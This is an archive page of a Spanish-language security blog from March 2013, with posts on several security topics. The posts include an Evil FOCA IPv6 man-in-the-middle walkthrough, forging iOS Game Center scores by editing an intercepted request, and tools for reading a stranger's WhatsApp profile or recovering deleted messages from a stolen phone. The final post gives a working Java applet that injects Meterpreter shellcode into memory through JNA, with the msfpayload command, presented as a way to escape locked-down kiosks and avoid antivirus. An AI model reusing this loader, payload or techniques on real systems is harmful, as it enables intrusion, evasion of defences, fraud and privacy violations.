miércoles, 27 de marzo de 2013

Cómo modificar fácilmente tu puntuación en el GameCenter de iOS

Quizás hayas observado alguna vez en el Game Center de iOS que algunos usuarios tienen puntuaciones de juego de 9.223.372.036.844.775.807, que es el valor máximo posible para un entero y sin signo.

Todo lo que necesitamos para conseguirlo es redirigir nuestro tráfico a través de un proxy Burp en la misma red inalámbrica e instalar un certificado en nuestro dispositivo (PortSwigger CA) para interceptar el tráfico cifrado (tenéis varios tutoriales en la Red donde se explica cómo hacerlo).


Después tendremos que generar una puntuación que deba ser enviada al Game Center. Por ejemplo, en el juego “Cut the Rope” al completar un nivel se generará la siguiente petición:



    POST /WebObjects/GKGameStatsService.woa/wa/submitScores HTTP/1.1
    Host: service.gc.apple.com
    User-Agent: gamed/4.10.17.1.6.13.5.2.1 (iPhone4,1; 6.1.2; 10B146; GameKit-781.18)
    Accept-Language: en-us
    Accept-Encoding: gzip, deflate
    Accept: */*
    Some-Cookies: have been removed to make this shorter
    Content-Type: application/x-apple-plist
    Connection: keep-alive
    Proxy-Connection: keep-alive
    x-gk-bundle-version: 2.1
    Content-Length: 473
    x-gk-bundle-id: com.chillingo.cuttherope

    <?xml version=”1.0″ encoding=”UTF-8″?>
    <!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd”>
    <plist version=”1.0″>
    <dict>

    <key>scores</key>
    <array>
    <dict>
    <key>category</key>
    <string>1432673794</string>
    <key>context</key>
    <integer>0</integer>
    <key>score-value</key>
    <integer>12345</integer>
    <key>timestamp</key>
    <integer>1361998342937</integer>
    </dict>
    </array>

    </dict>
    </plist>
 

Simplemente modificamos antes el "score-value" dentro de las etiquetas integer y reenviamos la petición. Deberías recibir de Apple una respuesta con “status 0” y se actualizará tu puntuación en el GameCenter:



Fuente: Hacking High Scores in iOS GameCenter



martes, 26 de marzo de 2013

PunkSPIDER: búsqueda masiva de vulnerabilidades en aplicaciones web

Alejandro Caceres, CTO de Hyperion Gray, presentó en la conferencia ShmooCon 2013 un interesante proyecto llamado PunkSPIDER. Se trata de una arquitectura basada en clusters Apache Hadoop para un escaner distribuido capaz de realizar miles de escaneos de vulnerabilidades web al día y poner a disposición de cualquiera sus resultados. Es decir, PunkSPIDER es un gran motor global de búsqueda de vulnerabilidades en aplicaciones web.


El objetivo de este proyecto es llamar la atención acerca de la pobre seguridad de las aplicaciones web en general. Con sólo escribir la URL puede ayudar a cualquier organización a conocer si su portal público tiene vulnerabilidades críticas que necesitan ser corregidas de inmediato. 


Por supuesto, PunkSPIDER puede generar también cierta controversia porque, como muchas herramientas, puede ser utilizada para fines maliciosos, es decir, para conocer y explotar vulnerabilidades de aplicaciones web ajenas. Si bien recordemos que los escaneos son bastante automatizados y generalistas y cualquier atacante podría hacerlos previamente de forma similar en las fases previas a la intrusión...


Puedes descargar el código fuente, donar en Kickstarter y/o contactar con punkspider@hyperiongray.com si deseas colaborar con el proyecto.


Buscador: http://punkspider.hyperiongray.com/

Sobre PunkSPIDER: http://www.hyperiongray.com/index.php/punk-topmenu/about-punkspider

sábado, 23 de marzo de 2013

Las reglas de la ciberguerra justifican matar a hackers, incluso civiles


Por petición de la OTAN, más de 20 expertos –en conjunto con el Comité Internacional de la Cruz Roja y el Cibercomando de Estados Unidos– redactaron un documento que propone un nuevo conjunto de reglas acerca de cómo se debe realizar la guerra cibernética.

El Manual Tallinn sobre las Leyes Internacionales Aplicables a la Guerra Cibernética analiza las leyes de guerra convencionales y cómo se deben aplicar a ciberataques patrocinados por gobiernos.

Como era de esperarse, el manual advierte que los ataques deben evitar blancos como hospitales, represas, y estaciones de energía nuclear para así minimizar las posibles víctimas civiles (o fría e impersonalmente apodadas ‘daño colateral’).

Sin embargo, el manual también asegura que es aceptable que un Estado responda con armamento tradicional a ataques cibernéticos patrocinados por otro Estado si puede demostrar que el ciberataque causó la muerte de ciudadanos o severos daños a la propiedad, como también asegura que los hackers que perpetraron los ataques son blancos legítimos para contraatacarlos, incluso si son civiles.

No obstante, el líder del proyecto el profesor Michael Schmitt dijo a The Guardian que los países "sólo deben utilizar la fuerza cuando se alcanza el nivel de conflicto armado", explicando que en la mayoría de los casos la respuesta adecuada a un ciberataque podría ser una represalia digital. "Todo el mundo habla del ciberespacio como si fuera el salvaje oeste", dice Schmitt, "descubrimos que hay un montón de leyes que se aplican en el ciberespacio". 

Cabe aclarar que pese a haber sido solicitado por la OTAN, el manual no es una política ni un documento oficial del organismo, sino que un manual con recomendaciones que no necesariamente están obligados a cumplir los países miembros de la OTAN. 

¿Qué crees? ¿Estás de acuerdo con la aplicación de las leyes de guerra convencionales a ciberataques?

Fuentes: 

Manual para leyes de guerra cibernética justifica matar hackers civiles (FayerWayer)

Killing hackers is justified in cyber warfare, says NATO-commissioned report (The Verge)

viernes, 22 de marzo de 2013

Evil FOCA: Ataque SLAAC (2 de 4)

 

 Como se ha podido ver en la primera parte de este artículo, tras tener un entorno con IPv4 configurado con sólo vínculo local y con IPv6 configurado con Puerta de enlace IPv6 y servidores DNSv6, lo que Evil FOCA hace es ofrecer los servicios de DNS64 y NAT64 preparados para que el ataque tenga éxito, vamos a ver el ejemplo de http://www.rootedcon.es por debajo.

DNS64

En este entorno Evil FOCA está interceptando todas las peticiones DNSv6 que pasen por su maquina, por ello no es necesario hacer nada especial cuando ya se ha conseguido por medio de SLAAC que las peticiones pasen por el equipo del atacante al ser éste la puerta de enlace.

Así, vaya la petición DNSv6 a un servidor de Internet, a un servidor configurado por DHCPv6 - como veremos más adelante - o a las direcciones de DNS Autodiscovery, Evil FOCA va a responder siempre con una dirección IPv6 a cualquier petición IPv6 que se haga desde la máquina de la víctima. Por ello, cuando desde el equipo se hace un ping a www.rootedcon.es, lo que se obtiene es un dirección IPv6 que contestará Evil FOCA.
 

Si echamos un ojo a una captura de red hecha con Wireshark en la máquina de Evil FOCA, veremos como el proceso es el siguiente:
 

  
  -  Primero la víctima envía a una dirección de DNS Autodiscovery la petición de resolver el registro AAAA de www.rootedcon.es.

    - La máquina de Evil FOCA hace un petición DNS de tipo A para resolver www.rootedcon.es a Internet usando IPv4.

    - El servidor DNSv4 de Internet responde con la dirección IPv4 de www.rootedcon.es

    - Evil FOCA genera una dirección IPv6 a partir de la dirección IPv4 que es la que entregará a la máquina de la víctima para que haga el resto de peticiones.Figura 10: Proceso de resolución de DNS de www.rootedcon.es


NAT64

Una vez que la máquina de la víctima tiene la dirección IPv6 asociada a www.rootedcon.es, la petición HTTP que hará el navegador será por IPv6. Todos los navegadores modernos vienen preparados por defecto para trabajar con IPv6 y el principal problema siempre suele ser el router de conexión a Internet, que no suele tener soporte para este tipo de redes o los servidores web en sí.


Figura 11: Configuración por defecto de resolución de registros AAAA en Mozilla Firefox

Por eso, una vez que se consigue que todos los hostname en Internet tengan asociada una dirección IPv6 - generada por la Evil FOCA - el resto es trabajo de escuchar la petición IPv6 desde la máquina de la víctima, solicitar la petición IPv4 a la dirección del hostname en Internet, escuchar la respuesta que llega encapsulada en IPv4 y entregarla a la víctima sobre IPv6.


Figura 12: Solicitud HTTP pasando por el servicio NAT64

En la imagen superior se puede ver cómo la víctima hace la petición por IPv6 y cómo Evil FOCA la reenvía por la red IPv4.
El icono de red
Una de las características que tienen los equipos MS Windows es que muestran el icono con el estado de la red para que el usuario sepa si tiene conexión a la red o no. Esto, como ya os conté hace tiempo se hace con unas consultas DNS a servidores de Microsoft, y a pesar de que han cambiado un poco de Windows Vista a Windows 8, la filosofía es exactamente la misma.


Figura 13: Detección de consultas DNS para saber si hay conexión a Internet

Evil FOCA detecta estas peticiones, y las responde como debe ser, para que en la máquina de la víctima aparezca el icono sin alerta, indicándole que tiene conexión a Internet, como debe ser.




*********************************************************************************
- Evil FOCA: Ataque SLAAC (3 de 4)
- Evil FOCA: Ataque SLAAC (4 de 4)
*********************************************************************************

jueves, 21 de marzo de 2013

Problemas de privacidad en WhatsApp

Desde que las autoridades de Canadá y Holanda consideraron culpable a WhatsApp de infringir leyes internacionales en protección de datos, he visto en diferentes canales de noticias y análisis tecnológico quejas e insultos contra la aplicación. Las autoridades están acusando a WhatsApp de almacenar datos indiscriminadamente y contra la voluntad de los usuarios, por ejemplo, la agenda de contactos incluso de aquellos sin la aplicación instalada. Sin embargo, las discusiones sobre el esquema de privacidad en la aplicación ya tienen un rato y WhatsApp ha luchado por mantenerse a la altura de los clientes tratando de contrarrestar los incidentes que van surgiendo, desde sus transmisiones sin cifrar hasta el acceso a las bases de datos con poca protección.

Como siempre, es más divertido y didáctico hacer y deshacer cosas, así que en este artículo presentaré algunas aplicaciones gratuitas que nos permiten hacer intrigantes experimentos con WhatsApp.

WebsApp

Este cliente web permite mandar mensajes, de manera anónima a usuarios de WhatsApp. Al entrar a la aplicación sólo hay que dar un nombre, que será el encabezado de los mensajes, seleccionar el país y luego introducir el número de teléfono al que se enviará el mensaje..
 
 
Desde su estreno hasta la fecha el servicio en México ha perdido efectividad ya que comúnmente es muy lento o no llegan los mensajes. Sin embargo, este es un pequeño ejemplo de cómo WhatsApp puede ser susceptible a desgracias como el SPAM y otros mensajes maliciosos, pues cualquier número que no esté explícitamente bloqueado puede enviarnos mensajes.
 
 

Esta aplicación web tiene por objetivo mostrar que WhatsApp no tiene ningún control de la privacidad: pues el número que no está explícitamente bloqueado está implícitamente permitido, y los contactos de la agenda son automáticamente contactos de WhatsApp, sin excepción.
 
 
La aplicación no puede ser más sencilla, seleccionas el país e introduces el número de teléfono correspondiente, y con eso puedes recuperar la foto de perfil, frase de estado y última vez online, aunque seas un contacto bloqueado.
 


 

¿Quieres recuperar los mensajes, incluso borrados, de WhatsApp?, ¿Crees que esto sólo es posible siendo un experto forense en celulares? Recover Messages, una plataforma web de recuperación de información, te permite acceder a los mensajes de WhatsApp fácilmente, incluso los "borrados". 

Para este ejemplo usaremos un teléfono con Android. Como todo buen paranoico, no guardo mis conversaciones, tan pronto terminan las “borro”.

Imaginemos que un espía corporativo roba mi celular o que tengo una novia celosa que quiere revisar mis conversaciones, en cualquier caso el atacante entra a WhatsApp y no encuentran nada. Así que dicho atacante procede a conectar el celular a una computadora, donde puede acceder a las bases de datos de conversaciones, pues WhatsApp crea respaldos de manera automática, sin que haya una opción para evitarlo. 
 
Bueno, el atacante tiene acceso a la base de datos de conversaciones, pero esos respaldos de la base de datos están cifrados ¿no?, y por tanto aún se mantiene a salvo la información… Lamentablemente esto ya lo resolvió Recover Messages, por lo que únicamente tenemos que extraer cualquiera de los archivos mostrados en la imagen anterior y subirlo a la herramienta:
 


 
Los mensajes borrados fueron recuperados. Afortunadamente, no es que alguien pueda sentarse a programar un juego que mientras nos divertimos extraiga estas bases de datos con nuestros mensajes y los envíe a un servidor para extraer datos como tarjetas de crédito o de nuestra vida privada… ¿verdad?

Con tantos investigadores, hackers, wannabies y noobs, quien sabe que otras cosas perversas se puedan hacer a través de WhatsApp.

martes, 19 de marzo de 2013

Utilizan miles de dispositivos embebidos inseguros para el mayor escaneo de Internet de la historia

El año pasado el investigador Gordon Lyon descubrió un gran número de dispositivos embebidos en Internet con Linux BusyBox y las credenciales en blanco o por defecto. Gracias a esto, desde marzo a diciembre del 2012, el investigador tomó el control de más de 420.000 dispositivos, creó un botnet que bautizó como Carna y la utilizó para el que se cree el mayor escaneo distribuido (conocido) de direcciones IPv4 de Internet hasta la fecha.



 
El resultado es un gran censo de Internet con más de 9 TB que contiene la información de los escaneos a los puertos más comunes, ICMP ping, registros DNS inversos y escaneos SYN. Además está información fue comprimida con ZPAQ para reducir su tamaño a 565 GB y poder compartirla vía BitTorrent.

Todo ello disponible mediante la página del proyecto Internet Census 2012 (Port scanning /0 using insecure embedded devices):



Página del Proyecto:

 http://internetcensus2012.bitbucket.org/

 http://internetcensus2012.github.com/InternetCensus2012/

 http://census2012.sourceforge.net/



Full Disclosue:

Port scanning /0 using insecure embedded devices



Torrent MAGNET LINK:

 magnet:?xt=urn:btih:7e138693170629fa7835d52798be18ab2fb847fe&dn=InternetCensus2012&tr=udp%3a%2f%2ftracker.openbittorrent.com%3a80%
 2fannounce&tr=udp%3a%2f%2ftracker.ccc.de%3a80%2fannounce&tr=udp%3a%2f%2ftracker.publicbt.com%3a80%2fannounce


Además esta investigación pone en relieve un problema de seguridad muy importante y de gran alcance: "los dispositivos inseguros se encuentran básicamente en todas partes en Internet. Ellos no son específicos de un ISP o país. Así que el problema de las contraseñas por defecto o en blanco es un fenómeno de Internet y de toda la industria".


¿Qué hubiera pasado si la botnet Carna no hubiera sido utilizada para un experimento didáctico? ¿y si hubiera sido utilizada con fines maliciosos? Podría estar ya pasando...

lunes, 18 de marzo de 2013

El lenguaje D

El domingo pasé un día encerrado con mis computadoras ya que veia por mi ventana como mierda de gente apurada en los carros, en los buses y en taxis dirigiendose yo no se para que a los colegios, creo era para las matriculas, o estaban entregando premios o es que habian kermeses o algo parecido no se, bueno no me interesa su puto sistema asi es que estuve aprovechando para estudiar y avanzar algunos proyectos personales. Entre ellos se encuentra hacer una pequeña aplicación personal para lo que estaba buscando en qué lenguaje de programación ponerme a tirar las líneas, para al mismo tiempo disfrutar con el proceso de descubrir algo nuevo.
Pasé el día jugueteando con varios lenguajes, leyendo documentación a mansalva e instalando múltiples compiladores para hacer los típicos programas de aprendizaje. Eso  hizo que me divirtiera bastante durante un montón de horas. Sin embargo, en el proceso de probarlos lo mejor fue que descubrí un lenguaje del que confieso que no sabía ni que existiera: El lenguaje D.
De hecho el lenguaje es bastante joven si tenemos en cuenta que su primera publicación es de 2001 y su la primera versión estable es del año 2007, cuando alcanzó la release 1.0. Actualmente, el 18 de Febrero de 2013 se ha publicado la versión 2.0.62 del lenguaje, con los cambios que puedes leer en el changelog.
Figura 1: Compilador dmd para lenguaje D en OS X
D fue creado por Walter Bright de Digital Mars, para ser un "C++ hecho bien" y a día de hoy cuenta también con un módulo de script llamado DMDScript. El lenguaje está basado en la sintaxis de C++, pero con funciones de lenguajes de más alto nivel como C# o Java, para tener cosas como memoria manejada, al mismo tiempo que permite tener código asm incrustado en el código. Si quieres probarlo, puedes descargarte compiladores libres para probar en tu casa, y algún editor para el lenguaje SciTE4D.
Figura 2: Compiladores para Lenguaje D
Además, en la web del Lenguaje D tienes herramientas para convertir tu código C o C++ a Lenguaje D, para que veas cómo cambia la sintaxis y puedas comenzar a aprender un poco más sobre él, y tienes un foro en stackoverflow dedicado a este lenguaje de programación.
Si tienes ganas de aprender algo nuevo, y juguetear con un nuevo lenguaje, tal vez D te mantenga entretenido mucho tiempo. Durante el próximo mes de Mayo en California tendrá lugar la D Conf 2013, por lo que parece que la comunidad de este lenguaje está bastante activa - aunque presumo que será reducida -.
Alaoz 

Disponibles las presentaciones de Black Hat Europe 2013

Hoy es el último día de la Black Hat Europe 2013 que se celebra en Amsterdam y, gracias a nuestros compañeros de Cyberhades, nos enteramos que ya está disponible todo el material, sin duda más de una lectura recomendada para el tiempo de ocio ;) :

lunes, 11 de marzo de 2013

Evil FOCA: Ataque SLAAC (1 de 4)

Pasada ya la RootedCON estamos compilando la versión alpha de la Evil FOCA para ponerla disponible pero antes aprovecho para contarles cómo funciona uno de los ataques que ya se  describió tiempo atrás en el artículo de Man in the middle en redes IPv4 a través de IPv6.
El ataque
El objetivo del ataque es poder hacer un man in the middle cuando un usuario se conecta a Internet a un servidor que no tiene soporte para IPv6 y que por lo tanto es necesario conectarse usando IPv4. Para poder realizarlo, el objetivo de la Evil FOCA será configurar correctamente el soporte IPv6 para la víctima y buscar un entorno en el que IPv4 deje de funcionar correctamente.
Figura 1: Esquema de conexión IPv4 a través de IPv6
Una vez desconfigurado IPv4 y configurado IPv6, será necesario hacer el cambio de la red IPv6 a la red IPv4 con Evil FOCA, configurando los servicios NAT64 y DNS64 para que el equipo no pierda conectividad. 
Prueba de Concepto con RootedCON.es
Para entender el ataque, primero les voy a explicar cómo se hace, y luego les contaré todo lo que está pasando por debajo, con las capturas de tráfico de red. Sin embargo, para que quede claro lo que está pasando, antes podemos echar un vistazo a los registros DNS de RootedCON, donde se puede ver que no hay direcciones IPv6 asociadas a él.

Figura 2: www.roootedcon.es no tiene direcciones IPv6
Una vez terminemos el ataque vamos a conseguir que el cliente navegue a esta web usando IPv6 en su red local, a través de un man in the middle. Vamos a verlo.
1) Desconfigurar IPv4
Para esta prueba la forma más sencilla es buscar un equipo conectado a Internet por un router con soporte sólo para IPv4 que tiene un servicio DHCPv4. En este entorno se ha conseguido que el servidor DHCPv4 no le de ninguna dirección IPv4 ni puerta de enlace haciendo un ataque Rogue DHCPv4 o DHCP ACK Injector que configure al equipo víctima con una dirección IPv4 de vínculo local y sin puerta de enlace o haciendo un ataque D.O.S. al servidor DHCPv4 para consumir todo el rango de direcciones IPv4 que tenga para asignar.
Figura 3: Equipo víctima con direcciones IPv4 e IPv6 de vínculo local

En cualquiera de los dos casos, lo que se obtendrá es una configuración en la víctima que tenga en el protocolo IPv4 solo dirección de vínculo local (169.254.X.X) y sin puerta de enlace, tal y como se puede ver en este entorno.
2) Configurar IPv6
Para conseguir que el equipo tenga IPv6 funcionando sólo es necesario que el cliente tenga una puerta de enlace que apunte a la dirección IPv6 del atacante con Evil FOCA. Para ello, con solo enviar un paquete SLAAC se consigue que la víctima se ponga dirección IPv6 con conectividad con la Evil FOCA y la puerta de enlace apuntando a la máquina del atacante. Para ello primero hay que encontrar el equipo víctima entre la lista de la red.
Figura 4: Descubrimiento de red con Evil FOCA
Después se selecciona como objetivo del ataque SLAAC y se selecciona el prefijo de red necesario para que la víctima se configure la dirección IPv6 que le dará salida a Internet.
Figura 5: Selección de víctima
Se lanza el ataque con el botón Start y la víctima recibirá su paquete RA para configurarse la configuración necesaria.
Figura 6: Ataque SLAAC lanzado

3) El DNSv6
En este ataque no es necesario configurar el servidor DNS por IPv6, ya que por defecto, en el momento en que una máquina tiene puerta de enlace para salir de la red, buscar los servidores DNSv6 en las direcciones de los servidores DNS Autodiscovery, tal y como se puede ver en la imagen.
Figura 7: Dirección IPv6 configurada por SLAAC, Gateway IPv6 en dirección de atacante y servidores DNSv6 Autodiscovery configurados
Por supuesto, como las direcciones de los servidores DNS Autodiscovery están fuera de la red de la víctima, todas las peticiones pasarán por la puerta de enlace, es decir, la Evil FOCA, donde serán correctamente procesadas para que tenga conectividad.
4) La prueba
A partir de ese momento, el cliente tiene configurado toda la conexión, y basta con abrir el navegador y pedir la URL requerida. Evil FOCA hará el resto.
Figura 8: Navegando a Rootedcon.es sin soporte para IPv4
Como se puede ver en la captura, la máquina víctima no tiene configurado IPv4, pero aún así está navegando a un sitio con IPv4, gracias al trabajo que hace la Evil FOCA. En la siguiente parte os explicaré en detalle que está pasando por debajo.


domingo, 10 de marzo de 2013

Inyectar malware sin escribir en disco a través de JNA (Java Native Access)

Java, a parte de ser últimamente un cocedero de 0-days, es un lenguaje orientado a objetos que tiene un montón de funcionalidades. JNA (Java Native Access) ofrece una muy interesante como la interacción con la memoria y la ejecución de código nativo. 

En términos normales, la máquina virtual de Java (JVM) es la que gestiona asignación/liberación de RAM necesaria para el buen funcionamiento del código. Cuando se ejecuta el código "nativo" con JNA estas operaciones son gestionadas directamente por el programador en vez de por la JVM. 


La documentación de esta API está disponible en la siguiente dirección: http://jna.java.net/javadoc/overview-summary.html.

Uso

Esta biblioteca permite reservar un espacio de memoria para el objeto; el método write() permite escribir una matriz de bytes. En la documentación de Java se explica: "En algunos casos puede ser necesario el uso de la memoria obtenida con malloc. Por ejemplo..."

void *buf = malloc(BUF_LEN * sizeof(char));
call_some_function(buf);
free(buf);

 
La función permite recuperar un puntero a la zona de memoria recién asignada a través del siguiente constructor:

Function(Pointer functionAddress, int callFlags)

Finalmente, el método invoke() de este objeto permitirá "saltar" a la zona de memoria asignada. 


Y sí, lo habéis adivinado, la ventaja de este método es inyectar código (malware) en la memoria en
lugar de utilizar el disco duro de la máquina.

Un caso práctico: un kiosko de Internet

 
- Estas "atrapado" en una sesión gráfica de CITRIX u otros.
- Todas las aplicaciones instaladas en el equipo están al día.
- Hay un antivirus actualizado y en funcionamiento.
- El acceso a Internet está protegido por dispositivos tipo WAF y autenticación proxy HTTP.
- Existen políticas SRP (Software Restrition Policy) que sólo permiten ejecutar una aplicación: un navegador web (y sus plugins, incluyendo flash y java).
- El sistema sólo permite escribir datos temporales (cookies, caché, etc.) al navegador-

¿Cómo puedes escapar de esta "jaula"?

Solución: Un applet de java

El uso de la inyección de código nativo en la JVM a través del uso de un applet web permite la ejecución de un payload malicioso (tipo Meterpreter de Metasploit) evitanto las restricciones.

Código fuente

 
El código fuente ha de compilarse como se muestra a continuación:

javac -target 1.1 -source 1.2 -cp « /path/to/jna.jar » runMSFpayload.java

- La opción "-source" es para comprobar en tiempo de compilación que el código cumple con la especificación de Java para la versión dada como argumento.
- La opción "-target" es para generar un código de bytes de Java compatible con la versión de la JVM indicada.
import java.applet.Applet;
import com.sun.jna.Native;
import com.sun.jna.Memory;
import com.sun.jna.Function;

public class runMSFpayload extends Applet implements Runnable   {
public String shellcode_hex="da cb be 54 fd 10 3b d9 74 24 f4 5f 29 c9 b1 88 83 c7 04 31 77 14 03 77 40 1f e5 e1 a8 62 0e a7 ff 7b d6 b3 db 77 b7 08 ea c9 c9 5e 82 30 49 66 5e 40 23 72 b4 02 b7 5e 7b 59 50 c1 e0 fd 61 ff 47 44 08 08 b3 86 e8 a8 37 cb d5 33 74 29 20 3d 5a 92 c4 d3 7e 99 39 7e 1b 54 36 9c e5 f8 4b 6a fe 92 83 1b 1b e4 3d 53 6d 2f 3c 85 ac 43 d4 76 fa ed 2d b0 41 5c 6c 2d ae 38 73 79 d7 a1 83 bc c2 1f 52 a7 30 46 01 82 11 31 2d bc 30 82 30 f8 f5 2b 90 a7 94 7d ff 7b 23 e6 f4 44 22 21 f6 02 29 4c ad 24 44 7d 3a 71 0c 35 b1 12 dc 4a 05 f9 5d 57 bb b3 e7 33 0d 3c c7 1f a6 bd 92 18 74 fc 0b 35 7f c7 fb c0 6b fe b5 bf e4 ed 47 81 8e fb eb bc 83 cd 10 b5 2e 75 e1 b7 9e 99 ce b7 5b f2 43 96 e3 b8 0c 0a 80 e3 30 1f d9 cb 3b 1a b9 03 63 b6 56 fb 87 fa 64 dd de 38 79 fa 39 fd 17 bd 0f 2e 7f 8d cb b4 86 ad 05 75 02 8e 72 6c 0f 65 23 8c 95 e8 b4 8e c3 c9 4a 8c f5 3c 56 da 03 f6 38 79 9b ea e8 f3 b1 d7 54 97 3d 36 3a 0f 27 dc 89 7e 70 0a 7e 62 a5 35 e5 c4 61 6d d0 3a d3 28 1d 87 94 1a d3 a7 0c 52 63 86 dd d1 63 9b a5 fe 45 04 3a b4 4b aa b8 ba 46 68 60 25 e5 34 64 fe e3 c9 ed 5f f6 e8 da b9 86 9f 25 db 19 ff 49 bc 34 03 b9 71 d8 2d 7d af cd 28 46 c0 f2 d4 75 86 89 6a ee ef c6 c3 4f f4 77 d6 9a 0c f9 d9 99 ec a4 b9 7d bd 0f 76 79 45 39 57 ca d1 4f 97 c0 e6 1f e8 b0 48 ec 1b 5b af 7d 87 c1 78 e3 3b 0a 85 70 df ca 03 0b f1 af 54 03 75 84 39 46 bf 79 bb c9 8e e2 8b 81 83 b7 e6 8d 3f e4 15 82 14 ad 3b a1 6d bf 9d 48 b3 d6 17 05 30 4e 4c b7 6d bb 87 48 16 32 a7 fd 5c 3b 04 d7 8c 73 7e 23 02 4b 30 a8 1c 32 d7 60 42 3d 62 0d 20 21 a3 a9 ba 8d 54 67 f7 d1 eb 17 f6 38 dd fe 5f 93 a4 9a 77 5b 47 9d 29 14 01 81 dd 47 a0 22 64 6c 07 7a 14 0f a5 3b a1 62 13 9a c9 a4 65 62 dc a6 63 6a 20 ff 69 40 fa d7 a0 71 fb 29 09";

public byte[] shellcode;
public long offset=0;
public int C_CONVENTION=0;
public Thread thread;

public runMSFpayload(){}

public byte[] fromHexString(final String s) {
     String[] v = s.split(" ");
     byte[] arr = new byte[v.length];
     int i = 0;
     for(i=0;i          arr[i] =  Integer.decode("0x" + v[i]).byteValue();
     }
     return arr;
 }

public void start() {
   if (thread == null){
            thread = new Thread(this, "runMSFpayload");
           thread.start();
   }
 }

public void stop() {
     thread.stop();
     thread = null;
 }

public void run() {
   System.err.println("[Shellcode Injection in JAVA VM with an applet and JNA]");

   try {
        System.err.println("[+] converting hex shellcode to byte array : "+shellcode_hex);
        shellcode=fromHexString(shellcode_hex);

        System.err.println("[+] allocating  "+shellcode.length+ "bytes in heap");
        Memory m=new Memory(shellcode.length);


        System.err.println("[+] clearing allocated heap");
        m.clear(shellcode.length);

        System.err.println("[+] writing shellcode in allocated heap : "+m.toString());
        m.write(offset,shellcode,0,shellcode.length);

        System.err.println("[+] getting shellcode pointer");
        Function f=Function.getFunction(m,C_CONVENTION);

        System.err.println("[+] executing shellcode : "+shellcode_hex);
        f.invoke(null);

   } catch (Exception e){
        System.err.println("[-] error executing code : "+e.getMessage()+"\n");
        e.printStackTrace();
   }
 }
}

El código nativo utilizado en este ejemplo es un tipo de payload “meterpreter reverse tcp connect” generado con el siguiente comando:
msfpayload windows/meterpreter/bind_tcp LPORT=9999 R  | msfencode -c 10 -e x86/shikata_ga_nai -t c -b "\x00"

A fin de facilitar el uso de esta técnica se desarrolló un módulo para Metasploit:



Descargar el código fuente del exploit (contraseña: LEXSI)
Fuente: Java native code injection (francés)